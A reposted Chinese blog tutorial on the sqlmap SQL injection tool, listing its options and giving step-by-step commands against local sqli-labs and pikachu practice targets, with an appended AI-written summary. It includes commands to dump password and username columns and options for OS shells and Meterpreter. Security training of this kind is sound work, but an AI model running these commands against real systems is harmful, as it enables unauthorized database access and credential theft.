sqlmap的使用方法(转载)

本文详细介绍SQLmap工具的使用方法,包括参数配置、检测SQL注入、枚举数据库信息、操作系统访问等核心功能。通过GET和POST类型的示例,展示如何利用SQLmap进行数据库信息的全面检索。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

SQLmap的使用
参数
目标:至少要选中一个参数
-u URL, --url=URL 目标为 URL (例如. “http://www.site.com/vuln.php?id=1”)
-g GOOGLEDORK 将谷歌dork的结果作为目标url
请求:
这些选项可用于指定如何连接到目标URL
–data=DATA 数据字符串通过POST发送
–cookie=COOKIE HTTP Cookie的值
–random-agent 随机选择 HTTP User-Agent 头的值
–proxy=PROXY 使用代理去连接目标URL
–tor 使用匿名网络
–check-tor 检查Tor是否正确使用
注入:
这些选项可用于指定要测试哪些参数,提供自定义注入负载和可选篡改脚本
-p TESTPARAMETER 可测试的参数
–dbms=DBMS 将后端DBMS强制到此值
检测:
这些选项可用于定制检测阶段
–level=LEVEL 执行的测试级别(1-5, 默认 1)
–risk=RISK 执行测试的风险 (1-3, 默认 1)
技术:
这些选项可用于调整特定SQL注入的测试的技术
–technique=TECH SQL注入技术选择 (默认 “BEUSTQ”)
枚举:
T这些选项可用于枚举后端数据库管理系统的信息、结构和数据表。此外,还可以运行自己的SQL语句
-a, --all 检索全部
-b, --banner 检索 banner
–current-user 检索当前用户
–current-db 检索当前数据库
–passwords 列出用户密码的hash值
–tables 列出表
–columns 列出字段
–schema 列出DBMS schema
–dump Dump DBMS数据库表的条目
–dump-all Dump 所有DBMS数据库表的条目
-D DB 指定数据库
-T TBL 指定表
-C COL 指定字段
操作系统访问:
这些选项可用于访问后端数据库管理系统底层操作系统
–os-shell 提示为交互式操作系统shell
–os-pwn 提示为OOB外壳,Meterpreter或VNC
通用:
这些选项可用于设置一些通用的工作参数
–batch 永远不要要求用户输入,使用默认行为
–flush-session 刷新当前目标的会话文件
杂项:
–sqlmap-shell 提示输入交互式sqlmap shell
–wizard 初学者的简单向导界面

用于MySQL注入
GET类型
查找是否有注入点
python2 sqlmap.py -u http://192.168.232.128/sqllabs/Less-5/?id=1 --batch

查找数据库
python2 sqlmap.py -u http://192.168.232.128/sqllabs/Less-5/?id=1 --dbs --batch

查找当前数据库
python2 sqlmap.py -u http://192.168.232.128/sqllabs/Less-5/?id=1 --current-db --batch

查找表
python2 sqlmap.py -u http://192.168.232.128/sqllabs/Less-5/?id=1 -D sql --tables --batch

查找表中的列(字段)
python2 sqlmap.py -u http://192.168.232.128/sqllabs/Less-5/?id=1 -D sql -T users --columns --batch

查找字段中的数据
python2 sqlmap.py -u http://192.168.232.128/sqllabs/Less-5/?id=1 -D sql -T users -C"password,username" --dump --batch

POST类型
查找是否有注入点
python2 sqlmap.py -u http://192.168.232.128/sqllabs/Less-11/ --forms --batch

查找数据库
python2 sqlmap.py -u http://192.168.232.128/sqllabs/Less-11/ --forms --dbs --batch

查找当前数据库
python2 sqlmap.py -u http://192.168.232.128/sqllabs/Less-11/ --forms --current-db --batch

查找表
python2 sqlmap.py -u http://192.168.232.128/sqllabs/Less-11/ --forms -D sql --tables --batch

查找表中的列(字段)
python2 sqlmap.py -u http://192.168.232.128/sqllabs/Less-11/ --forms -D sql -T users --columns --batch

查找字段中的数据
python2 sqlmap.py -u http://192.168.232.128/sqllabs/Less-11/ --forms -D sql -T users -C"password,username" --dump --batch

原文链接:https://blog.youkuaiyun.com/qq_41679358/article/details/107619417?utm_medium=distribute.pc_feed.none-task-blog-personrec_tag-8.nonecase&depth_1-utm_source=distribute.pc_feed.none-task-blog-personrec_tag-8.nonecase&request_id=5f21e6062405af26f814c60e

### SQLMap 使用教程与操作指南 SQLMap 是一款开源的渗透测试工具,用于自动检测和利用SQL注入漏洞。该工具支持多种数据库管理系统(DBMS),包括 MySQL、PostgreSQL 和 Microsoft SQL Server。 #### 启动 SQLMap 并指定目标 URL 为了启动 SQLMap 对特定 Web 应用程序进行测试,可以使用 `-u` 参数来定义目标URL。例如,在给定的目标地址上运行 SQLMap 可以通过如下命令实现[^2]: ```bash sqlmap -u "http://192.168.1.107/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" ``` #### 设置详细的日志级别 增加 verbosity (`-v`) 的数值可以让用户看到更多关于请求的信息。设置为 `1` 表示仅显示重要的信息: ```bash -v 1 ``` #### 指定使用的 DBMS 类型 当已知目标网站所采用的具体数据库系统时,可以通过 `--dbms` 来指明它是什么样的数据库服务器。这有助于提高效率并减少误报的可能性。对于 MySQL 数据库来说,则应这样配置: ```bash --dbms mysql ``` #### 自动化选项 如果不想每次都手动确认每一个提示,默认情况下可以选择启用批处理模式(`--batch ``` #### 枚举所有可用数据库 想要获取当前拥有权限访问的所有数据库列表,可加上参数 `--dbs` : ```bash --dbs ``` 完整的命令组合起来将是这样的形式: ```bash sqlmap -u "http://192.168.1.107/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -v 1 --dbms=mysql --batch --dbs ``` 请注意,在实际环境中应当合法合规地使用此类工具,并始终遵循法律法规以及道德准则来进行安全研究活动。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值